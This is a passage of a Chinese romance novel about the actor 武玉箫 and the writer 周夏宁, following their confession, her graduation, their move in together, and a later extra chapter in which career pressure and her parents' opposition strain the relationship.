可是一切都已经晚了,她转D约的事情,已经没有转圜余地了。余芷再三警告他,多管闲事只会把自己搭进去。
她在对赌项目里输的钱,他可以通过担保一点儿一点儿地工作还债,可是她手上沾的不干净的东西,已经不是她说她不想干就能不干的。她没有回头路了。
丰亿大厦不是一个只有阳光的地方,阳光有多灿烂,背地就有多黑暗。这个沼泽是她自己跳进去的,半年前,若非他接到了周姚的消息,若非他选择去酒吧接醉酒的周夏宁,今天处在蔺姿境地的就是他。
而那个酒局就是蔺姿在他不知情的情况下约他去的。
武玉箫:“蔺姿,三年多前,你来武馆找我的时候,也是这么说的。所以,我去打了循环,换了你重新开始的机会。我建议你转幕后岗,建议你申请S-T约,我甚至答应只要你离开亿星,我帮你还你对亿星的欠债。可是你没有听我的建议,你执意要去申请对赌项目,现在事情发展到这个地步,我没有办法再帮你了。”
他把蔺姿从地上拉起来,“我不可能为了再给你一次机会,去求余姐再为我赌一次。机会我给过你,是你自己没有珍惜。蔺姿,我现在不是一个人。我的身后有余姐,有袁栎,还有……”
还有屋里那个他想一直见到的女人。
“还有喜欢我的粉丝。我不想辜负他们的期待。”
蔺姿甩开他的手,绝望地吼道:“说这么多,你就是不想帮我。你的命是我父亲救的,你进这个圈子是因为我,你现在过好了,就想甩掉我。做梦。”
她一脚踢在他的腿上,很痛,但他没有躲。他很努力地把她从堕落的泥沼中往上拉,可是他失败了。
他看着她哭着从视线中消失,眼里不自觉有了泪光。这种无可奈何的感觉很让人窒息。
他回到屋里时,他的碗里已经堆满了菜。
“朝朝,快过来吃饭。这些都吃完了,有礼物哦。”
周夏宁安静地吃起了排骨,武玉箫看着她边吃边笑的模样,轻轻咬了一口排骨。排骨的味道很淡,算不上好吃,可她专心的神情让人误以为她正在吃满汉全席。他看着她,很快就把碗里的菜全部吃完了。
“这个……你的奖励。”
武玉箫的手中多了一张字条,上面写着《花云外传》选角组的邮箱号。
“这个是亿星的对赌剧本,但如果选角组指定,你还是可以拿到角色。她和别人赌的是你能不能拿到角色,而不是你靠什么方式拿到角色。去试试吧。祝你好运。”
周夏宁拿起包,准备离开。借住在这里的房租,她已经付清了。被蔺姿闹过之后,她已经没有心情再去知道他对她的真实心意了。
他和蔺姿总是剪不断理还乱。她不喜欢蔺姿,不喜欢他和别的女孩儿牵扯不清。他和蔺姿之间不是爱情,可她要的是专属于她的夏朝朝。
她的背影燃着火,他知道她生气了。他一个箭步蹿到门边,说道:“甜点……要一起吃吗?唐记点心店的草莓蛋糕,汪文东做的。”
周夏宁迟疑了半晌,这个诱饵很诱人。
“酒还没有喝完,不要走,好不好?”
武玉箫盯着她的眼睛,趁着她走神的空隙,从她手里顺过包。她不由得叹了一声,看在草莓蛋糕的份上,陪他把酒喝完。
武玉箫把她推到沙发上之后,主动去收拾餐盘,周夏宁一个人独酌。武玉箫的酒量很差,这酒他只能浅尝几口。
她喜欢微醺的感觉,理智一半扎在心上,一般飘在云间。武玉箫收拾完之后,她已经双颊染红,人有三分醉。
“朝朝,你和蔺姿从小一起长大,你不喜欢她,那你喜欢谁?”
周夏宁靠在沙发上,眼神迷离地看着他。他给她倒了杯蜂蜜水,把瓶子里剩下的酒全部倒在自己杯里。
武玉箫将酒喝了一半,苦笑道:“我不懂喜欢这种感情。”
因为不懂,他拍不了恋爱剧。导演说他演技太生硬了。
“那我给你一个参考。你有没有,一见到就会心情很好,一想到就会充满力量,相比于其他人更想和那个人待在一起的人?”
武玉箫点点头,看着周夏宁,默默喝酒。她满足以上的所有条件。
“再给你一个参考,那个人如果和其他异性有很亲密的来往,你会很生气,会很想把她独占,会很想让她只看着你。”
武玉箫继续看着她发呆,她依旧符合以上的所有条件。他讨厌她和路凌夜在一起,讨厌她对路凌夜笑,讨厌她聊路凌夜的作品。即便他们只是工作伙伴关系,她还是希望路凌夜从她的生活里滚出去。
“还有参考吗?”武玉箫问道。
杯中的酒只剩最后一口。
周夏宁点点头,“最后一个,你会很想和她有肢体接触,会想和她拥抱,和她亲吻,和她共度春宵。”
武玉箫仰头将酒饮尽,笑着反问道:“你有这样的人吗?”
他很紧张,很害怕从她嘴里听到肯定回答。他不希望她恋爱,不希望她身边出现一个符合以上所有条件的男人。她一直都单身,他才能安心地在她的身边做一个乖乖的弟弟。
“没有。”
周夏宁觉得他的唇和汪文东做的草莓蛋糕一样诱人。她肯定是醉了,才有这么荒唐的错觉。她闭上眼,靠在沙发上。
过了很久,她被他抱去了卧室。在他的怀中,她不自觉地把脑袋靠在了他的胸口处。他全身如同触电般僵硬,快步走到床边,将她放了下来。
他的身上残留着她的气息,他的心跳久久不能平复。看着她恬静的睡颜,他很想握住她的手,很想将她拥入怀中。
他把夜灯调到了最小亮度,安静地坐在她的身边,就这样陪在她身边,他都觉得很幸福。如果可以,他希望她能一直住在这儿,不要搬走。
他可以做一个非常贤惠的室友,一年12个月11个月都不在家,在家的1个月承包她的一日三餐。
她在家,家里就有光亮,就有炊烟,就有欢笑。她能在这儿留得久儿,再久点儿,就好了。
在她睡得迷迷糊糊的时候,他突然说道:“刚才真不应该让你给参考,让我意识到了我喜欢你的事实。”
他小心翼翼地给她搭了薄毯,落寞地离开。喜欢又怎样,她只把他当弟弟。卧室门被带上的时候,周夏宁缓慢睁开双眼,她眼神清澈,丝毫没有醉酒的痕迹。
尚洵果真是恋爱砖家,到底还是被他说中了,他喜欢她。但他说中的不只这一点儿,就在蔺姿来找他的时候,她很确定她也喜欢上了这个弟弟。
因为喜欢,才讨厌蔺姿缠着他。
因为喜欢,才赖在这里不愿离开。
因为喜欢,刚才他抱她的时候,她才想趁机非礼他。
早知道就不和尚洵打赌了,喜欢这种感情就应该一直在地里沉睡,不被察觉。
早上七点。
榨汁机在厨房认真工作,周夏宁睁着迷蒙的双眼从屋里出来。他系着围裙,在炉边煎鸡蛋饼。桌上已经摆好了粥和奶香小馒头。
他在家的时候,都会给她做饭,然后陪她吃。这么贤惠的室友,打着灯笼都难找。
“朝朝,你这手艺越发的好了。”
鸡蛋饼在空中翻了个身,稳稳落在了平底锅上。五个月前,他还是厨房小白,现在已经晋升到初级厨师了。
武玉箫把鸡蛋饼切成块状盛到盘子里。她的手机响了,尚洵在询问她的位置。她今天要搬家,尚洵答应过来帮忙,他的车已经在去学校的路上了。
“啊,我忘了,今天要搬家。”
周夏宁遗憾地看着一桌子的美食,她是没机会吃了。武玉箫见她要走,眼里尽是失落。她离开之后,就不会再回来了。
武玉箫把她拦在门口,说道:“去哪儿?我送你。”
他眼中的不舍太明显,周夏宁都无法骗自己说是她眼花了。她想了一夜也没想清楚,是要放任这种感情自由生长,还是自己把它掐灭。
“搬家,要来帮忙吗?”周夏宁打趣道。
他十点有试镜,他可没时间陪她搬家。
“要。我把这些打包,你路上吃。”
武玉箫兴奋得像尚洵养的哈士奇,很可爱,让人很想抱他入怀,很想在他的脸上轻啄一口。
“你不是要……”
她的嘴里突然多了一块奶香馒头,有吃的,她就忘了自己的问题。武玉箫看她吃得一脸开心,加快了打包的速度。要在她反悔之前把她塞进车里。
坐在车里的时候,周夏宁才想起他试镜的事情,问道:“陪我搬家,你不去试镜了?”
武玉箫将油门踩到一半,紧张地说道:“新手上路,导航一下。”
这个问题又被他岔开了。
周夏宁调出导航路线,安静地坐在副驾上。窗边的风景不断变化,可她的眼里只能看到映在车窗上的他的侧脸。
她抱紧手中的食盒,这些餐点都是他在拍戏间隙找视频学的,所以每次回来,他的手艺都会有质的飞升。他的心意太明显,她想忽视都做不到。
更糟糕的是……
她也很喜欢和他共度的时间。
福源小区6栋202。
午后阳光透过纱窗洒进屋里,在一众纸箱上留下岁月静好的剪影。周夏宁端着冰镇酸梅汤,走到窗边,将冷饮塞到武玉箫手中。
尚洵那个没眼力见的,帮她把东西都搬过来之后,就带着他的修理工室友溜没影了,说是不耽误她和武玉箫约会。
他哪只眼睛看见他们在交往了?
她叫了一堆外卖,可只有她和武玉箫两个人吃。
在察觉到那丝悸动之前,她可以很坦然地把他当弟弟。可现在,她看着他,会不自觉地心跳加速。她不喜欢这种不受控制的情感。
“浴室在漏水,厨房的炉灶不能用,洗衣机需要修理,空调需要重新换一个。你确定你今晚要住这里?”
武玉箫脱下手套,擦了擦额间的汗水。她一定是急着收房,没有来得及好好检查屋里的设施。家里的电器几乎都坏了,楼上楼下漏水严重,她要住回来,先得把家里重新装修一下。
“那你要再收留我一段时间吗?”周夏宁试探道。
她只是想趁着纪霞不在宿舍,把宿舍里的东西搬出来。这里是近郊,去夜荷的通勤时间太长了,她受不了。
武玉箫突然紧张得无法出声,他想答应她的请求,可是这样会不会显得他别有用心。
他沉默的时间太久了,周夏宁笑道:“逗你的。毕业之前,我会在周姚家住。这里只是当仓库用的。”
武玉箫失落地低头,他多么希望她是真的想让他再收留一段时间。她在公寓的时候,家里很温暖。
“毕业之后,你还会留在陵城吗?”武玉箫胆怯地问道。
她这几年赚得不少,可除了这个老破小,她没有在陵城置产。她老家在方城,家里就她一个独女,她没有在陵城找工作,许是准备回去了。
周夏宁不想去想这个让她心烦的问题,她家老父亲年初就在催她准备方城的公务员考试。只是她因为泄稿,不得不赶项目,这事儿才作罢。
他们给她规划的路线很明确,回老家考公务员或者进学校,到了年纪找个家里掐得住的男人结婚生子,她什么时候想把人踹了,直接去父留子。
在方城的生活很安逸,但是太无聊了。
“你希望我留在陵城吗?”周夏宁随口问道。
陵城很繁华,可是没有归属感。在这里什么都得靠自己,太累了。
“希望。”武玉箫不假思索道。
“夜荷机会很多,你可以尝试很多不同的事情。你可以发现很多不同的可能性,可以……”
在周夏宁沉思的目光下,他突然没了声音。他想解释,可她似乎看穿了他的心思。
“我考虑考虑,陆老板太磨人了。”
周夏宁不打算深究,夜荷的工作很有挑战性,她很喜欢。只是家里那边难以交代。从家长的角度来看,工作的稳定性是第一位的。
在夜荷,工作能发家。可是财富聚散有时,不如稳定的工作有吸引力。
“那我能去你参加你的毕业典礼吗?”武玉箫低头问道。
他七月又要进组了,若是她毕业就回老家,毕业典礼可能是他最近能见她的最后机会。
周夏宁沉默了许久,她可以直接拒绝,可是武玉箫现在表情给她一种她拒绝之后,下一秒就会哭出来的感觉。
“如果你能把徽瑞带过来,你就过来。”
这是一个无理要求,但却是她拒绝他的方式。
徽瑞虽和他同属一个经纪公司,可是名气和实绩相差太多。他不认识徽瑞,徽瑞也不会答应他去她的毕业典礼。
武玉箫歪头想了想,如果这是她想要的毕业礼物,他可以努力看看。
“我会把徽瑞当礼物带过去的。”武玉箫坚定地说道。
徽瑞是她偶像,偶像去祝她毕业快乐,她一定会很开心。
周夏宁摸摸他的额头,觉着他怕不是热中暑了。她话里拒绝的意思那么明显,他居然没有听出来。
他推开她的手,笑问道:“除了徽瑞,还想要什么礼物?”
周夏宁摇摇头,怕自己再说下去,他真的把她的随口胡言全部实现了。
“我们吃饭吧。”
她打开电扇,在逐渐聚集的暑气中,和他静静地吃午餐。她的心跳得很快,她不清楚万一他真的把徽瑞带过来了,她该怎么办?
这是一个她认为不可能完成的任务,可是他的眼睛亮闪闪的,让人不禁想要相信,他会创造奇迹。
陵城大学,东门停车场。
周夏宁穿着鹅黄色的长裙等在校门口,她紧张得大脑一片空白。武玉箫一连
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两周没有任何联络,就在她以为他放弃的时候,轻荷亲自给她来了消息,让她在毕业典礼的时候穿得正式点儿,等典礼结束了一起同徽瑞他们去吃饭。
突然,一辆出租车停在了校门口。武玉箫抱着一束剑兰满天星从车里下来。他穿着蓝色休闲正装,脖子上挂着她送他的玛瑙石项链,手上带着价格不菲的腕表。
他穿得如此正式,怕不是真如尚洵预料的那般要在众人瞩目下同她表白?周夏宁胆怯地向后退了两步,她那天就不该信口胡说。
“祝你,前程如这满天星,繁花似锦。”
武玉箫低着脑袋,脸红得发烫。她的这一身,真美。
他就说了这一句,然后将花塞给了她。没有等到预期的告白,周夏宁说不上她是庆幸还是失望。
“我带了相机,今天可以给你拍很多照片。”
武玉箫试着打破两人沉默的局面,可是他一对上她的眼神,他就紧张得说不出话来。
她平时就很美,打扮起来,更美了。
“那我们去操场。”
周夏宁领着他穿过校门,绕过停车场,去到操场。他们刚到,徽瑞便拎着一盒糕点走到他们身前,笑道:“他送花祝你前程似锦,我送桂花糕,祝你平安喜乐。夏夏,毕业快乐。”
周夏宁不敢相信眼前这一幕,他不仅把徽瑞请来了,还让他给她送了礼物,祝她“毕业快乐”。
“要一起照相吗?”徽瑞笑问道。
武玉箫把她向前推了半步,走到两人身前,将镜头对准了他们。周夏宁努力扯出一抹笑容,可是热泪在她的眼眶中打转。
“啊……徽瑞……”
“徽瑞……”
“徽瑞啊……”
……
在被人群包围之前,徽瑞将周夏宁推到了武玉箫的身边,自己独自被人群团团围住。
“礼物,喜欢吗?”武玉箫怯生生地问道。
周夏宁点点头,好奇道:“你怎么请来的?”
她的视线炙热如火,武玉箫害羞地低头,“就……请他帮忙,他就答应了。”
周夏宁可不信。
“啊……李效……”
“傅司渝……”
“乔励……”
“啊……怎么来这么多明星?”
……
在刺耳的尖叫声中,周夏宁看到轻荷同一个挂着相机的女人向他们走来。
“冰夏,这是傅氏娱乐的赵总,赵清妍。”轻荷笑着介绍道。
这就是五个月前看中她短篇,给了她补救损失机会的赵清妍。周夏宁紧张地咽了咽口水,她的身子不自觉地向武玉箫的身旁侧去。
“冰夏,毕业快乐。”
赵清妍将茉莉花塞到她手中,眼神在她和武玉箫中间逡巡。她看着武玉箫脖子上的相机,问道:“我给你们拍照好吗?这么值得纪念的时刻,不拍张照太可惜了。”
武玉箫紧张地看着她,她不忍心拒绝,点点头,将他拉到了她身边。镜头里,她看着镜头,他看着她。她的眼里有星辰大海,他的眼里有脉脉深情。
佑和咖啡馆陵城大学分店。
站在街对面,隔着玻璃窗,周夏宁看到武玉箫不安地坐在角落里,桌上放着她喜欢的草莓蛋糕还有蔓越曲奇。
他每次来学校看她,都会给她带这两样甜点。以他的评级,他去不了15楼,所以他就去店里磨汪文东,让他答应每次单独给他留一份。
这个事情,她十分钟前刚和汪文东确认过。
过去的点点滴滴,现在细想起来,都藏着他的无声爱意。也难怪,尚洵每次打趣她说的都是“你什么时候答应和你的朝朝弟弟交往?”而不是“他喜欢你。”
他爱得太安静,安静到,他所有的爱意都落在了衣食住行上。没有热烈的告白,没有空洞的承诺,只有细水长流的生活。
毕业典礼结束之后,他们去了餐馆。那是赵清妍组的饭局,其间她的两个闺蜜都来了。恒业的柳老板看中了徽瑞,清雯的秦老板看中了武玉箫,时悦娱乐的乔励看中了李效。他们都借着这个饭局给他们抛出了橄榄枝。而她收到了赵清妍的定制剧邀请。
饭局之后,徽瑞告诉她,他在他拍摄的地方,守了一个星期,才在路上偶然见到他。他通过经纪人转达的请求,他一开始就明确拒绝了。他同她一样,抱着玩笑的心态,同他说:“你把李效请去,我就去。”
之后,他去联系了李效的经纪人,李效告诉他:“你把乔励请去,我就去。”
乔励和轻荷是好友,他便去找轻荷帮忙。武玉箫运气很好,他去找轻荷帮忙约乔励的时候,赵清妍刚好托轻荷约她。他们借着这个机会,组了这个局,既把生意谈了,也帮她庆祝了毕业。
周夏宁深吸了一口气儿,她也不知道自己为什么会在饭局结束之后约他晚上在咖啡馆见面,许是中午喝的酒太烈,她一时酒劲上头,沉迷在了感动中。
他为了把徽瑞当做毕业礼物送给她,费了很多心思。
而他费这么多心思,只是单纯为了庆祝她的毕业。他和她身边的男人不同,送礼物不是为了讨她开心从而从她身上获得什么,他只是单纯的想要和她分享当下的喜悦,与她共庆生活的美好。
看到她出现在桌前,武玉箫紧张地抬起头,“我带了草莓蛋糕和蔓越曲奇。要吃点儿吗?等会儿你们聚餐要喝酒,提前垫点儿肚子,喝酒的时候不会难受。”
武玉箫把蛋糕往她的手边推了推,她等了一天的告白,他愣是一个字都没有说。现在似乎没有打算说。
她拿起叉子,将蛋糕切下三分之一,随后盯着他的眼睛笑道:“尚洵说你费这么多心思请徽瑞过来,是因为喜欢我。”
武玉箫紧张得握紧拳头,接下来他会被发好人卡吗?
“所以,你喜欢我吗?”
周夏宁目光凌厉,武玉箫觉得自己的喉咙似乎被什么扼住,他难以呼吸。他的沉默让她很是生气儿,她都把梯子搭到他伸手就能触到的地步,他居然不顺着梯子爬下来。
是她自作多情了。
“这个问题很难回答吗?”周夏宁气鼓鼓地问道。
“喜欢。”
武玉箫冷静过了头。他平静地与她对视,狠狠在自己胳膊上掐了一把,机会递到了手边,没有让它溜走的道理。
“喜欢,很喜欢。我不知道这种感情是怎么生长出来的,但从你那天和我说参考标准的时候,我就很确定,我很喜欢你。”
“所以,你要和我交往吗?”
周夏宁把餐盘往他的手边推了推,“我吃甜食,男朋友必须陪。三分之一的蛋糕,三块曲奇。这是底线。你吃吗?”
武玉箫吃不了这么甜的东西,虽然有些恶趣味,在最后一刻她还是忍不住想要戏弄他。他可以拒绝,他的拒绝并不会改变她想要同他交往一段时间的想法。
武玉箫拿着叉子,将那些裹满奶油的蛋糕全部吞进肚里。热量吃进去了,还能通过运动的方式代谢出来。
女朋友的好心情,被破坏了就很难再找回来。
周夏宁不可置信地看着他,气呼呼地问道:“怎么我说什么,你做什么?”
“这不是很难做到的要求。蛋糕很好吃。”
武玉箫把餐盘从她手里顺过去,他很安静地吃着曲奇,乖顺的样子很像泰迪。她不由自主地摸了摸他的脑袋。
他腼腆地笑了笑,脸又红得发烫。他把曲奇都吃完之后,认真地看着她,问道:“那你答应同我交往吗?夏夏。”
他这次的称呼用的是“夏夏”而不是“冰夏姐姐”。
周夏宁把包递了过去,“要帮我拿吗?”
武玉箫点点头,安静地把她的包挂在了身上,她牵起他的手,笑着说道:“事先说好,我不谈异地恋。连续三个月每个月见面次数少于三次,默认为分手。我们好聚好散。”
武玉箫默默握紧她的手,郑重地承诺道:“我会好好表现的,夏夏。”
他们相携走出了咖啡店。
在毕业之际,她很果断地走向了他,也走向了一个与她父母规划完全不同的未来。
她接受了在夜荷15楼的工作,她不知道他们之间会有怎样的未来,至少当下,她很贪恋他纯粹的爱意,很贪恋和他共度的时光。
珍惜当下,不问未来。
一个月后,夜荷员工公寓。
橘色暖光透过门缝落到屋外,武玉箫将早已拽在手中的钥匙放回到口袋里。他按响了门铃,焦急等待。
数秒之后,门从屋内被人推开。
“朝朝。”
轻快的声音伴着温暖的笑意在他的身前环绕,他情不自禁地拥抱了这个如约出现在他公寓里的女人。她真的在毕业之后就搬来与他同住。
“夏夏,我好想你。”
周夏宁摸摸他的脑袋,将他迎进了屋。
屋里有暖光,有菜香,有电视声……
一切都那么温暖,一切都那么安宁。有她在的地方就有暖意,她在,这个家就是爱的代名词。
他换好居家常服之后,便从周夏宁手中接过锅铲,打发她去看电视。徽瑞的新剧要开播了,他特意提前回来,同她一起追剧。
茶几上,放着一瓶青梅酒。那是他给她带的伴手礼。
周夏宁给自己倒了半杯酒,惬意地歪在沙发上。这个公寓离夜荷很近,她很喜欢。不过,她更喜欢在这个公寓里正系着围裙给她煎煎饼的这个男人。
交往之后,他们之间的日常没有太大改变。他不在家的时间很多,但他经常会突然出现,同她吃顿晚饭之后立刻飞回剧组。他很认真地在践行与她的约定,这种感觉很踏实。
炉子关火之后,她端着酒杯去了餐桌前,他静静地吃着饭,她安静地喝着酒,徽瑞的身影在电视上闪现,他们偶尔将视线从电视上挪开,落在彼此的身上。对视之时,不约而同地腼腆轻笑。
温暖的爱意伴着橘色暖光洒落在屋子的每个角落,平淡如水,润物无声。
33. 番外三 水晶梨糕
夜荷员工公寓,卧室。
冷风从窗边呼啸而过,卷不走一丝在屋中弥散的浓愁。周夏宁裹着被子瑟缩在墙角里,任黑暗将她包裹。风打在她的脸上,很冷,很痛,很麻木。
手机上不断弹出的对话框,给这个不大的小屋带来唯一的光亮。周夏宁仰头靠着墙,将热泪逼回眼里。
在近十个月的时间里,她用尽了全身解数,可还是逃不过项目被陆老板降等的命运。她不知道该怎么写才能在陆老板那儿拿到A2级别的项目,轻荷建议她休息一段时间再回来,可她中间陪着武玉箫在剧组玩了两三个月,再回来的时候,她的状态反而更差了。
她的灵感渐渐枯竭,她在电脑前发呆的时间越来越长。更糟糕的是,最近她看到空白的Word文档就会吐。
离下次评级只剩不到三个月的时间,她若是拿不到A2级别的项目,就必须完成一个A1级别的项目,否则她会因为没有完成最低项目个数而被封号一年。
武玉箫现在的发展势头很猛,夜荷A2级别的资源通道已在一个月前对他打开,余芷一直拖着没有给他激活。她若是再停滞一年,她和他之间的差距会更加明显。
武玉箫现在工作多到一个月回来见她三次面都很难。他强行要回来,她的手机上就会多一条机票订票信息。之后余芷就会把他的日程表发给她,请她去他拍戏的地方散散心,顺带和他见见面,安抚他躁动的心。
这样的状态从他们恋情曝光就一直持续着。可每次从他那儿回来,她的心情就比去的时候更糟糕。
他入行已经六年多了,不知不觉他也成为了别人的前辈,和他演对手戏的女演员从20+,变成了刚成年。
年轻漂亮有活力会讨人欢心,男人都喜欢这样的女人,更喜欢这样的女人投怀送抱。武玉箫也不例外。
这段时间她在他酒店房间的时候,至少遇过七个不同的女孩儿,穿着性感长裙去敲他房间的门约他出去吃饭。
他从未给她们开过门,可是时间久了,这个门,难保不会被哪个有缘人敲开。他每次都会给她解释,可她一句都听不进去。他不在身边的时候,她的脑子里总会不自觉地浮现他和别的女人出轨的画面。
她很讨厌自己这样的状态,她想让自己忙起来,可是她已经写不了故事了。
两周前,她和家里说了自己想放弃写作的想法,她父亲没有反对,只是态度强硬地让她和武玉箫分手,整理好陵城的一切,回老家去。
继续在夜荷工作,继续挑战A2级别项目,是他们同意她继续和武玉箫谈恋爱的唯一条件,也是她不可打破的底线。
但她真的坚持不下去了。写作原本是件很快乐的事情,现在却成了她的痛苦来源。她知道她该停止了,可是她现在停下了,她和武玉箫就没有未来了。
她可以很嘴硬地当着她父亲的面说他说的话都是错的,可是她知道,离开了夜荷15楼,她和武玉箫之间就只剩下如同花火般短暂的激情和锁在老照片里的创业友情。这些感情都太容易被消耗,当生活的浪不断打来,它们终会烟消云散。
普通情侣通过结婚生子利益绑定来抵抗这种感情消磨,可进入婚姻的女人十人九悲。丈夫闷声干事业,功成名就之后,便会携新欢将被家长里短耗成怨妇的绝望妻子赶出家门。
她不想要一段热烈的感情泡沫,在激情和友情都被无尽的争吵耗尽之后,反目成仇,相逢陌路。
武玉箫也许会爱她很久,也许会像童话故事里那般守着她白首不离,可是拿着感情期望去赌一个男人的责任心,这无异于饮鸩止渴。
宁可拿着剑柄逼着男人俯首称臣虚表忠心,也不能相信他们空口白牙许下的承诺和虚无缥缈的道德感。
她立不稳,她就守不住这份让武玉箫贪念的从容和淡然,守不住她想从他身上得到的热烈而纯粹的爱意。
男人会经常期待有一个甘做冤大头的女人陪他们熬过低谷然后升官发财死老婆,但鲜少会陪着一个女人熬过低谷把她送上事业巅峰。
男人只会在女人的瓶颈期告诉她,是时候结婚生子回归家庭了,她不用那么努力,他会养她。在厌倦了女人对他的依赖后,他便会把当初结婚时说的“我养你”换成离婚分财产时的“是我养的你”。
这都是可以预见的风险和故事走向,就算要赌,她也要把全部赌注压到自己身上。武玉箫向她伸来的手,很暖,可是她贪恋不起。
突破事业瓶颈这条路,她必须得自己走。
如果她和武玉箫最终的结局是分手,那也是她主动在命运的分岔路口转弯,笑着同他道别。
在他的回忆里,她是美好的,是让他贪恋的,是他一生的白月光。
突然客厅里传来开门声,接着卧室里的灯亮了。武玉箫惊慌地在屋里找寻她的身影,看到她蜷在角落里,像见到主人的大狗狗一般热烈地向她扑去,将她抱进怀中。
“夏夏,你没事儿,真好。”
武玉箫全身都在抖,她分不清他是冷得发抖,还是害怕得发抖。她不过就是六个小时没有回复他的消息而已。她以前经常一整天都不回他的消息,也没见他如此不安。
“夏夏,对不起,我不知道珠珠的生日庆祝宴你父母也会来。对不起,我不应该爽约。”
他的眼角已经有了泪光,他眼里有了以前从未出现过的恐惧,他在害怕失去她。
“我杀青之后,有两周的假期。带我去见你的父母,好吗?”
周夏宁摸着他沾着冷气儿的脑袋,眼眶不自觉地红了。这已经是两周前的事情了,现在说什么都晚了。
他们的恋情是七夕曝光的,在那之后,她父母就催着她把他带回去见个面。那时他在国外走行程,她就一直拖着没有同他讲见面的事情。
中秋节前后,她父亲拖着她大姑,赖着周姚约了武玉箫见面。但是那天,武玉箫突然有画报拍摄,他在她父亲眼前被袁栎拖去了机场,两人见了面但一句话都来不及说。
国庆节前后,她母亲拿着武玉箫的综艺录制门票来找她,她们一起去了综艺录制现场。但是节目录完之后,他匆匆去了机场,和她母亲擦身而过。
那天回来之后,她母亲就说他们不合适,可她不想同她吵,同意给武玉箫最后一次机会,让她安排时间,他们来陵城见他。
珠珠生日宴那天,他本来没有行程的。但是易睿突然来消息问他能不能去试镜他正在拍的电影的男二号,那是部大制作,机会很难得。她当时想叫住他,可是没有那样做。
她知道,机会没了,就没了。她替他选择了事业,也替他放弃了她父母给过来的最后一次机会。
珠珠生日宴之后,他们逼她分手。他们大吵了一架,他父亲被气得住了三天院。出院之后,她父母彻底表明态度:她可以继续和他谈,她若是放弃夜荷的工作,她就拿着家里给她准备的嫁妆,从家里出去,以后再也不联系。如果她听劝,留在夜荷工作,她逢年过节想回家就回家看看他们,但是不准提武玉箫。在他们面前,武玉箫就该和死人一样安静。
在她父母面前,他已经没有机会了。
“我饿了。给我煮碗面吧。”
周夏宁伸手,他将她抱去了客厅。茶几上放着一盒糕点,里面的贺卡写着:夏夏,水晶梨糕,祝你分手快乐。
字迹是她母亲的。
周夏宁把贺卡藏在口袋里,从里面取出一块糕点放在盘子里。武玉箫见到了,激动地冲过来将盘子夺了过去,把梨糕扔进了垃圾桶里。
“不吉利。我把它处理掉。”
武玉箫抱着糕点盒逃也似地跑了出去,他开车开了七站路,在沿江大道的尽头,把糕点抛进了江里。这些不吉利的东西,就该在江里消失得无影无踪。
汪文东:友情提醒,那个金主给我付了三年定金,让我天天给夏夏做梨糕,一直做到她和你分为止。你从我这儿抢走这一盒没用。
武玉箫默默握紧拳头,周夏宁最近很反常,回他的消息总是很短,很模板。他以为她只是在忙工作,或者心情不好,可是珠珠说家里已经在给她安排相亲对象了。
他向周姚求证过,他父母不满意他,从家世到职业到长相全部都不满意。珠珠生日宴上,周夏宁同她父母吵得很凶,珠珠都被吓哭了。
周夏宁:袁栎来逮人了,你不用回来,直接去机场。好好工作。
武玉箫在江边站了许久,她总是这样不吵不闹,让他安心奔事业,可他最近有种感觉,他如果继续这样全力以赴地向前跑,她很可能就这样从他的生活里消失。
家里给她安排的相亲就在最近,这段时间她不能留在国内。
半小时后。
武玉箫推开门的时候,屋里一点儿光都没有。打开灯之后,他才发现客厅的感应灯,被她拔下来了。
他匆忙去了卧室,她裹着被子蜷在中央。屋里很冷,她没有开空调。听到响声,她从被子里露出脑袋,打开床头灯,在灯光里看到他眼中的乞求。
“我求余姐把
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所有行程都取消了。我们去温哥华,我们去滑雪,我们去坐雪橇。你心情好了,灵感就会回来。一切都会变好的。”
他紧紧地抱着她,似乎不这么做,她就会从他手中溜走。周夏宁心疼地拍了拍他的背,叹了一声,这些行程不是他想取消就取消的。
十分钟前,余芷又给她来消息了,邀请她去他的拍摄地散心。
“朝朝,好好工作。角色杀青了,我们再去温哥华。”
武玉箫摇摇头,把她抱得更紧了,“我现在只想和你出去玩。”
“可是,我得工作,你杀青之前我都得在15楼写文。”
这是五分钟前,系统给她发来的消息。她之前被指名的打包项目,现在又重新启动了。稿件早就写好了,只需要走过审流程。
武玉箫盯着手机看了许久,确定那是系统发来的任务确认消息,遗憾地说道:“那我去工作了。祝你文思泉涌,不被陆老板退稿。”
周夏宁被他委屈的模样逗笑,在他的唇上轻啄一口,他如同被电击一般愣在原地。她最近都没有主动吻他。
她的手伸到了他的衣服里,他全身僵硬的瞬间,她突然推开了他。
周夏宁扯过被子背着他睡下,他不知所措地抱住她,在她的脸颊处轻吻。她轻轻将他推开,说道:“去洗澡。”
武玉箫这才松了口气儿,她并不是讨厌和他亲吻才推开他。
从浴室出来的时候,周夏宁已经睡熟。武玉箫把屋里的空调开到了29度,在加湿器里加了薰衣草精油,把小夜灯的灯光调到最小,然后在她的身旁睡下。
十来分钟之后,周夏宁一脚将身上厚重的被子踹到了地上。翻身,像八爪鱼一般扒在他的身上。他紧紧地把她圈在怀里,心头的石头终于落了地。她的身体,她的潜意识对他都是敞开的,她只是心情不大好,不是真的不喜欢他了。
早上九点,夜荷公寓楼下。
武玉箫一步三回头地向出租车走去。十一点到机场,是余芷最终能妥协的时间,也是周夏宁向她承诺将他送到机场的时间。
“你会等我回来的,对不对?”
这是他今早的第七次发问。他这不安的模样像极了有分离焦虑症的儿童。周夏宁把他塞进车里,点头道:“杀青之后,我们去温哥华。”
她刚关了车门,司机便脚踩油门溜走了。她站在楼下,久久不想离去。就在刚才,余芷给她打来电话的那一刻,她很确定,她想分手了。
她不能写文的状态如果一直持续,她只会越来越不安。她藏得再好,武玉箫也多多少少能够察觉到。她的不安会影响到他,他想要让她放松下来,就会想办法陪她,可他现在最缺的就是时间。
他想停下来,但他的团队停不下来,余芷停不下来。
他闹着不去工作,余芷就会来找她,而她给她的每一个电话,都会加重她的焦虑,提醒她他们之间事业的差距正在逐渐拉大。
现在她需要慢下来去处理她的瓶颈,他需要按照团队规划的路线去全力奔跑。他们已经站在了不同的时区,强行在一起,只会让身边的人受伤。
她再怎么否认,她还是得承认,现在,他们俩,不合适。
不是不爱了,只是,爱起来比之前要费劲很多。而且在可以预见的未来,相爱会变得越来越费劲。
在两人都感到疲惫之前分开,是对那段美好时光最好的保护手段。至少,回忆起来,他们相处的时光都是甜蜜的。
两周后,星源国际机场。
周夏宁拖着行李箱出现在机场大厅,武玉箫兴奋地奔向她。她挽着他的胳膊两人一同走向候机室。
